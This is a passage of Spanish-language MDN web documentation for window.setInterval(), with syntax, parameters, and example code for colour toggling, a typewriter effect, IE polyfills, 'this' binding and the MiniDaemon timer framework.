+<div>Ejecuta una función o un fragmento de código de forma repetitiva cada vez que termina el periodo de tiempo determinado. Devuelve un ID de proceso.</div>
+
+<div></div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><em>var procesoID</em> = window.setInterval(<em>función</em>, <em>intervaloDeTiempo</em>[, <em>parámetro1</em>, <em>parámetro2</em>, ... , parámetroN]);
+<em>var procesoID</em> = window.setInterval(<em>código</em>, <em>intervaloDeTiempo</em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>función</code></dt>
+ <dd>La {{jsxref("function")}} que será ejecutada cada <code>intervaloDeTiempo</code> milisegundos.</dd>
+ <dt><code>código</code></dt>
+ <dd>Una sintaxis opcional permite introducir una cadena en lugar de una función, la cual es evaluada y ejecutada cada <code>intervaloDeTiempo</code> milisegundos. Se recomienda evitar esta sintaxis por la misma razón por la que el comando {{jsxref("eval", "eval()")}} conlleva problemas de seguridad.</dd>
+ <dt><code>intervaloDeTiempo</code></dt>
+ <dd>El tiempo en milisegundos (1/1000 de segundo, ms) que se debe esperar entre cada ejecución de la función o del código. Si el valor es menor que 10, se usará 10 en su lugar. El tiempo entre cada ejecución puede ser mayor al que indicamos, para mayor información puedes revisar el siguiente artículo: {{SectionOnPage("/en-US/docs/Web/API/WindowTimers/setTimeout", "Reasons for delays longer than specified")}}.</dd>
+ <dt>
+ <div class="note">El parámetro <strong>intervaloDeTiempo</strong> es convertido en un entero de 32 bits con signo en el IDL, por lo que el valor más grande que puede tener es 2,147,483,647 milisegundos, aproximadamente 24.8 días.</div>
+ </dt>
+ <dt><code>parámetro1, ..., parámetroN</code> {{optional_inline}}</dt>
+ <dd>Parámetros adicionales que se pasan a la función a ejecutar.</dd>
+</dl>
+
+<div class="note">
+<p>En Internet Explorer 9 y anteriores no es posible pasar más parámetros mediante esta sintaxis. Si quieres activar esta funcionalidad en dichos navegadores deberás usar un polyfill (entra en la sección <a href="#Callback_arguments">Callback arguments</a>).</p>
+</div>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>El valor de retorno <code>procesoID</code> es un valor numérico distinto de cero que identifica al temporizador que fue creado al llamar <code>setInterval()</code>; este valor puede ser usado como parámetro en la función {{domxref("Window.clearInterval()")}} para detener el temporizador. Las funciones <code>setInterval()</code> y {{domxref("WindowTimers.setTimeout", "setTimeout()")}} comparten la misma pila de IDs, por lo que, técnicamente, los comandos <code>clearInterval()</code> y {{domxref("WindowTimers.clearTimeout", "clearTimeout()")}} pueden usarse indiscriminadamente. Sin embargo, por motivos de claridad y mantenimiento, es importante usarlos como corresponde.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> El argumento <code>intervaloDeTiempo</code> se convierte aun entero con signo de 32 bits. Esto limita efectivamente al <code>intervaloDeTiempo</code> a valores de 2147483647 ms, ya que se especifica como entero con signo en el IDL.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_1_Sintaxis_básica">Ejemplo 1: Sintaxis básica</h3>
+
+<p>El siguiente ejemplo muestra la sintaxis básica.</p>
+
+<pre class="brush:js notranslate">var intervalID = window.setInterval(miFuncion, 500, 'Parametro 1', 'Parametro 2');
+
+function miFuncion(a,b) {
+  // Aquí va tu código
+  // Los parámetros son opcionales completamente
+  console.log(a);
+  console.log(b);
+}
+</pre>
+
+<h3 id="Ejemplo_2_Alternando_dos_colores">Ejemplo 2: Alternando dos colores</h3>
+
+<p>El siguiente ejemplo se llama a la función <code>flashtext()</code> una vez por segundo hasta que se presiona el botón Detener.</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;Ejemplo de setInterval/clearInterval&lt;/title&gt;
+  &lt;script&gt;
+     var nIntervId;
+
+     function cambiaDeColor() {
+        nIntervId = setInterval(flasheaTexto, 1000);
+     }
+
+     function flasheaTexto() {
+        var oElem = document.getElementById('mi_mensaje');
+        oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+        //oElem.style.color ... es un operador ternario o condicional
+     }
+
+     function detenerCambioDeColor() {
+        clearInterval(nIntervId);
+     }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="cambiaDeColor();"&gt;
+  &lt;div id="mi_mensaje"&gt;
+    &lt;p&gt;¡Hola mundo!&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;button onclick="detenerCambioDeColor();"&gt;Detener&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Ejemplo_3_Simulando_una_máquina_de_escribir">Ejemplo 3: Simulando una máquina de escribir</h3>
+
+<p>El siguiente ejemplo simula una máquina de escribir, primero borra el contenido de una lista de nodos (<code><a href="/en-US/docs/DOM/NodeList">NodeList</a>)</code> que coinciden con un grupo de selectores y después lo escribe lentamente.</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Máquina de Escribir con JavaScript&lt;/title&gt;
+&lt;script&gt;
+  function maquinaEscribir (sSelector, nRate) {
+
+      function limpiar () {
+        clearInterval(nIntervId);
+        bTyping = false;
+        bStart = true;
+        oCurrent = null;
+        aSheets.length = nIdx = 0;
+      }
+
+      function desplazarse (oSheet, nPos, bEraseAndStop) {
+        if (!oSheet.hasOwnProperty("parts") || aMap.length &lt; nPos) { return true; }
+
+        var oRel, bExit = false;
+
+        if (aMap.length === nPos) { aMap.push(0); }
+
+        while (aMap[nPos] &lt; oSheet.parts.length) {
+          oRel = oSheet.parts[aMap[nPos]];
+
+          desplazarse(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+          if (bEraseAndStop &amp;&amp; (oRel.ref.nodeType - 1 | 1) === 3 &amp;&amp; oRel.ref.nodeValue) {
+            bExit = true;
+            oCurrent = oRel.ref;
+            sPart = oCurrent.nodeValue;
+            oCurrent.nodeValue = "";
+          }
+
+          oSheet.ref.appendChild(oRel.ref);
+          if (bExit) { return false; }
+        }
+
+        aMap.length--;
+        return true;
+      }
+
+      function mecanografear () {
+        if (sPart.length === 0 &amp;&amp; desplazarse(aSheets[nIdx], 0, true) &amp;&amp; nIdx++ === aSheets.length - 1) { limpiar(); return; }
+
+        oCurrent.nodeValue += sPart.charAt(0);
+        sPart = sPart.slice(1);
+      }
+
+      function Hoja (oNode) {
+        this.ref = oNode;
+        if (!oNode.hasChildNodes()) { return; }
+        this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+        for (var nChild = 0; nChild &lt; this.parts.length; nChild++) {
+          oNode.removeChild(this.parts[nChild]);
+          this.parts[nChild] = new Hoja(this.parts[nChild]);
+        }
+      }
+
+      var
+        nIntervId, oCurrent = null, bTyping = false, bStart = true,
+        nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+      this.rate = nRate || 100;
+
+      this.ejecuta = function () {
+        if (bTyping) { return; }
+        if (bStart) {
+          var aItems = document.querySelectorAll(sSelector);
+
+          if (aItems.length === 0) { return; }
+          for (var nItem = 0; nItem &lt; aItems.length; nItem++) {
+            aSheets.push(new Hoja(aItems[nItem]));
+            /* Uncomment the following line if you have previously hidden your elements via CSS: */
+            // aItems[nItem].style.visibility = "visible";
+          }
+
+          bStart = false;
+        }
+
+        nIntervId = setInterval(mecanografear, this.rate);
+        bTyping = true;
+      };
+
+      this.pausa = function () {
+        clearInterval(nIntervId);
+        bTyping = false;
+      };
+
+      this.finaliza = function () {
+        oCurrent.nodeValue += sPart;
+        sPart = "";
+        for (nIdx; nIdx &lt; aSheets.length; desplazarse(aSheets[nIdx++], 0, false));
+        limpiar();
+      };
+  }
+
+    /* usage: */
+    var oTWExample1 = new maquinaEscribir(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
+
+    /* default frame rate is 100: */
+    var oTWExample2 = new maquinaEscribir("#controls");
+
+    /* you can also change the frame rate value modifying the "rate" property; for example: */
+    // oTWExample2.rate = 150;
+
+    onload = function () {
+      oTWExample1.ejecuta();
+      oTWExample2.ejecuta();
+    };
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;"&gt;CopyLeft 2012 by &lt;a href="https://developer.mozilla.org/" target="_blank"&gt;Mozilla Developer Network&lt;/a&gt;&lt;/p&gt;
+&lt;p id="controls" style="text-align: center;"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="oTWExample1.ejecuta();"&gt;Ejecutar&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.pausa();"&gt;Pausar&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.finaliza();"&gt;Terminar&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;div id="info"&gt;
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+&lt;/div&gt;
+&lt;h1&gt;Maquina de Escribir en JavaScript &lt;/h1&gt;
+
+&lt;div id="article"&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;form&gt;
+&lt;p&gt;Phasellus ac nisl lorem: &lt;input type="text" /&gt;&lt;br /&gt;
+&lt;textarea style="width: 400px; height: 200px;"&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/textarea&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send" /&gt;
+&lt;/form&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="/files/3997/typewriter.html">Observa este ejemplo en acción</a>. Ver más: <a href="/en-US/docs/DOM/window.clearInterval"><code>clearInterval()</code></a>.</p>
+
+<h2 id="Argumentos_de_Callback">Argumentos de Callback</h2>
+
+<p>Como se mencionó previamente Internet Explorer version 9 y anteriores no soportan el pasar argumentos a la función Callback en <code>setTimeout()</code> ni en <code>setInterval()</code>. El siguiente código específico de Internet Explorer muestra un método de superar esta limitante. Para usarlo basta añadir el código marcado al inicio de tu script.</p>
+
+<pre class="brush:js notranslate">/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all &amp;&amp; !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all &amp;&amp; !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+</pre>
+
+<p>Otra posible solución es el usar funciones anónimas para llamar al Callback, aunque esta solución es un poco más cara. Ejemplo:</p>
+
+<pre class="brush:js notranslate">var intervalID = setInterval(function() { myFunc("one", "two", "three"); }, 1000);</pre>
+
+<p>También puedes hacer uso de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Ejemplo:</p>
+
+<pre class="brush:js notranslate">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre>
+
+<p>{{h3_gecko_minversion("Inactive tabs", "5.0")}}</p>
+
+<p>A partir de Gecko 5.0 {{geckoRelease("5.0")}}, los intervalos no se disparan más de una vez por segundo en las pestañas inactivas.</p>
+
+<h2 id="Problemas_usando_this">Problemas usando "<a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a>"</h2>
+
+<p>Cuando pasas el método de un objeto a la función <code>setInterval()</code> éste es invocado fuera de su contexto. Esto puede crear un valor de <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> que puede no ser el esperado. Este problema es abordado en detalle en <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#As_an_object_method">JavaScript reference</a>.</p>
+
+<h3 id="Explicación">Explicación</h3>
+
+<p>Cuando <code>setInterval() o setTimeOut()</code> ejecuta un determinado código o función, ésta corre en un contexto de ejecución separado al de la función en la que se creó dicho temporizador. Por esta razón a la palabra clave <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> se le asigna el valor del objeto <code>window</code> (o el objeto <code>global</code>), no es igual que usar <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> dentro de una fuinción que invoque a <code>setTimeOut()</code>. Observa el siguiente ejemplo (que utiliza <code>setTimeOut()</code> en lugar de <code>setInterval()</code> – el problema, de hecho, es el mismo para ambos temporizadores):</p>
+
+<pre class="brush:js notranslate">miArreglo = ["cero", "uno", "dos"];
+
+miArreglo.miMetodo = function (sPropiedad) {
+    alert(arguments.length &gt; 0 ? this[sPropiedad] : this);
+};
+
+miArreglo.miMetodo(); // imprime "cero,uno,dos"
+miArreglo.miMetodo(1); // imprime "uno"
+setTimeout(miArreglo.miMetodo, 1000); // imprime "[object Window]" despues de 1 segundo
+setTimeout(miArreglo.miMetodo, 1500, "1"); // imprime "undefined" despues de 1,5 segundos
+// tratemos de pasar el objeto 'this'
+setTimeout.call(miArreglo, miArreglo.miMetodo, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(miArreglo, miArreglo.miMetodo, 2500, 2); // same error</pre>
+
+<p>Como puedes ver no hay forma de pasar el objeto <code>this</code> a la función de Callback en la versión anterior de JavaScript.</p>
+
+<h3 id="Una_posible_solución">Una posible solución</h3>
+
+<p>Una posible alternativa para resolver ésto es reemplazar las dos funciones globales nativas <code>setTimeout()</code> y <code>setInterval()</code> con las siguientes funciones no nativas que permiten su ejecución a través del método <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a>. El siguiente ejemplo muestra una posible sustitución:</p>
+
+<pre class="brush:js notranslate">// Permite el pase del objeto 'this' a través de temporizadores JavaScript
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentoAPasar1, argumentuAPasar2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentoAPasar1, argumentoAPasar2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+</pre>
+
+<div class="note">Estos dos reemplazos también permiten el camino estándar en HTML5 de pasar argumentos arbitrarios a las funciones de Callback de los temporizadores dentro de IE. Por lo tanto, pueden utilizarse como rellenos (polyfills) <em>no estándar</em>. Para más información vea <a href="#Callback_arguments">callback arguments paragraph</a>.</div>
+
+<p>Prueba de nueva funcionalidad:</p>
+
+<pre class="brush:js notranslate">miArreglo = ["cero", "uno", "dos"];
+
+miArreglo.miMetodo = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hola Mundo!"); // la utilizacion estandar de setTimeout y de setInterval se mantiene, pero...
+setTimeout.call(miArreglo, miArreglo.miMetodo, 2000); // imprime "cero,uno,dos" despues de 2 segundos
+setTimeout.call(miArreglo, miArreglo.miMetodo, 2500, 2); // imprime "dos" despues de 2,5 segundos
+</pre>
+
+<p>Otra solución más compleja está en la siguiente liga de <a href="#A_little_framework">framework</a>.</p>
+
+<div class="note">JavaScript 1.8.5 introduce el método <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code>, el cual permite especificar el valor de <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> para todas sus llamadas en una determinada función. Esto permite sobrellevar facilmente diferentes problemas de contexto con el uso de la palabra <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a>. También, ES2015 soporta <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>, dentro del lenguaje nos permite escribir cosas como setInterval( () =&gt; this.myMethod) si estamos dentro del método de miArreglo .</div>
+
+<h2 id="MiniDaemon_-_Un_framework_para_administrar_temporizadores">MiniDaemon - Un framework para administrar temporizadores</h2>
+
+<p>En proyectos que requieren muchos temporizadores puede volverse complicado el seguimiento de todos los eventos generados. Una forma de facilitar la administración de timers es guardando sus estados en un objeto. El siguiente ejemplo muestra este tipo de abstracción, la arquitectura del constructor evita explicitamente el uso de cerraduras. También ofrece un camino alternativo para pasar el objeto <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> a la función de Callback (observa la sección Problemas usando "<a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a>" para más detalles). Puedes consultar también el siguiente código en<a href="https://github.com/madmurphy/minidaemon.js"> GitHub</a>.</p>
+
+<div class="note">Para una versión más modular de este (<code><em>Daemon)</em></code>puedes verlo en <a href="/en-US/Add-ons/Code_snippets/Timers/Daemons">JavaScript Daemons Management</a>. Aquí encontrarás una versión mas complicada que se reduce a una colección escalable de métodos para el constructor <code><em>Daemon</em></code>. Éste constructor no es más que un clon del  <code><em>MiniDaemon</em></code> con soporte para las funciones <em>init</em> y <em>onstart</em> declarables durante la instanciación del mismo. Por esto el <strong><code><em>MiniDaemon</em></code> framework </strong>se mantiene como el camino recomendado para realizar animaciones simples.</div>
+
+<h3 id="minidaemon.js">minidaemon.js</h3>
+
+<pre class="brush:js notranslate">/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this &amp;&amp; this instanceof MiniDaemon)) { return; }
+  if (arguments.length &lt; 2) { throw new TypeError("MiniDaemon - not enough arguments"); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) &amp;&amp; nRate &gt; 0) { this.rate = Math.floor(nRate); }
+  if (nLen &gt; 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) &amp;&amp; this.INDEX &lt; 1 : this.INDEX + 1 &gt; this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw &amp;&amp; (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+</pre>
+
+<div class="note">MiniDaemon pasa argumentos a la función callback. Si quieres trabajar con ellos en navegadores que no soportan nativamente esta característica, usa uno de los métodos propuestos arriba.</div>
+
+<h3 id="Sintaxis_2">Sintaxis</h3>
+
+<p><code>var myDaemon = new MiniDaemon(<em>thisObject</em>, <em>callback</em>[</code><code>, <em>rate</em></code><code>[, <em>length</em>]]);</code></p>
+
+<h3 id="Descripción">Descripción</h3>
+
+<p>Regresa un <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Objecto</a></code> que contiene la información necesaria para una animación (como el objeto <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a>, la función de Callback, la duración y el frame-rate).</p>
+
+<h4 id="Parámetros_2">Parámetros</h4>
+
+<dl>
+ <dt><code>thisObject</code></dt>
+ <dd>El valor de la palabra <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> sobre el cual funcionará la función de <em>Callback. </em>Puede ser un <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>objecto</code></a> o <code>null</code>.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La función que se invocará repetidas veces. Dicha función se invocará con tres parámetros: <em>index</em> que corresponde al valor iterativo de cada invocación, <em>length</em> que es el número total de invocaciones asignadas al <em>daemon</em> (puede ser un valor finito o <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) y <em>backwards</em> (valor booleano que expresa cuando el valor de <em>index</em> es creciente o decreciente). Es similar a <em>callback</em>.call(<em>thisObject</em>, <em>index</em>, <em>length</em>, <em>backwards</em>). Si la función de Callback regresa un valor false el deamon se detiene.</dd>
+ <dt><code>rate (optional)</code></dt>
+ <dd>El tiempo minimo en milisegundos que transcurre entre cada invocación. El valor por omisión es 100.</dd>
+ <dt><code>length (optional)</code></dt>
+ <dd>El número total de invocaciones. Puede ser un valor entero positivo o <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>. El valor por omisión es <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a>.</code></dd>
+</dl>
+
+<h4 id="Propiedades_de_la_intancia_MiniDaemon"><code>Propiedades de la intancia MiniDaemon</code> </h4>
+
+<dl>
+ <dt><code>myDaemon.owner</code></dt>
+ <dd>El objeto <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> sobre el cual se ejecuta el daemon (lectura/escritura). Puede ser un <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>objecto</code></a> o <code>null</code>.</dd>
+ <dt><code>myDaemon.task</code></dt>
+ <dd>La función que se invocará repetidas veces. Dicha función se invocará con tres parámetros: <em>index</em> que corresponde al valor iterativo de cada invocación, <em>length</em> que es el número total de invocaciones asignadas al <em>daemon</em> (puede ser un valor finito o <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) y <em>backwards</em> (valor booleano que expresa cuando el valor de <em>index</em> es creciente o decreciente). Es similar a <em>callback</em>.call(<em>thisObject</em>, <em>index</em>, <em>length</em>, <em>backwards</em>). Si la función de Callback regresa un valor false el deamon se detiene.</dd>
+ <dt><code>myDaemon.rate</code></dt>
+ <dd>El tiempo minimo en milisegundos que transcurre entre cada invocación. El valor por omición es 100 (lectura/escritura).</dd>
+ <dt><code>myDaemon.length</code></dt>
+ <dd>El número total de invocaciones. Puede ser un valor entero positivo o <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>. El valor por omición es <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a> </code>(lectura/escritura).</dd>
+</dl>
+
+<h4 id="MiniDaemon_instances_methods"><code>MiniDaemon</code> instances methods</h4>
+
+<dl>
+ <dt><code>myDaemon.isAtEnd()</code></dt>
+ <dd>Regresa un valor boleano que expresa cuando el <em>daemon</em> está en posición de inicio/fin o no.</dd>
+ <dt><code>myDaemon.synchronize()</code></dt>
+ <dd>Sincroniza el tiempo de un deamon iniciado con el tiempo de su invocación.</dd>
+ <dt><code>myDaemon.pause()</code></dt>
+ <dd>Pausa el deamon.</dd>
+ <dt><code>myDaemon.start([<em>reverse</em>])</code></dt>
+ <dd>Inicia el daemon hacia adelante "forward" (el indice de cada invocación se incrementa) o hacia atrás "backwards" (el índice de cada invocación se decrementa).</dd>
+</dl>
+
+<h4 id="Métodos_del_objeto_global_del_MiniDaemon">Métodos del objeto global del <code>MiniDaemon</code></h4>
+
+<dl>
+ <dt><code>MiniDaemon.forceCall(<em>minidaemon</em>)</code></dt>
+ <dd>Fuerza una sola función callback a la función <code><em>minidaemon</em>.task</code>  en lugar del hecho de que se ha alcanzado el final o no. En cualquier caso la propiedad INDEX interna crece o decrece según la dirección del proceso.</dd>
+</dl>
+
+<h3 id="Ejemplo_de_uso">Ejemplo de uso</h3>
+
+<p>Tu página HTML:</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;MiniDaemin Example - MDN&lt;/title&gt;
+  &lt;script type="text/javascript" src="minidaemon.js"&gt;&lt;/script&gt;
+  &lt;style type="text/css"&gt;
+    #sample_div {
+      visibility: hidden;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;p&gt;
+    &lt;input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" /&gt;
+    &lt;input type="button" onclick="fadeInOut.start(true);" value="fade out"&gt;
+    &lt;input type="button" onclick="fadeInOut.pause();" value="pause" /&gt;
+  &lt;/p&gt;
+
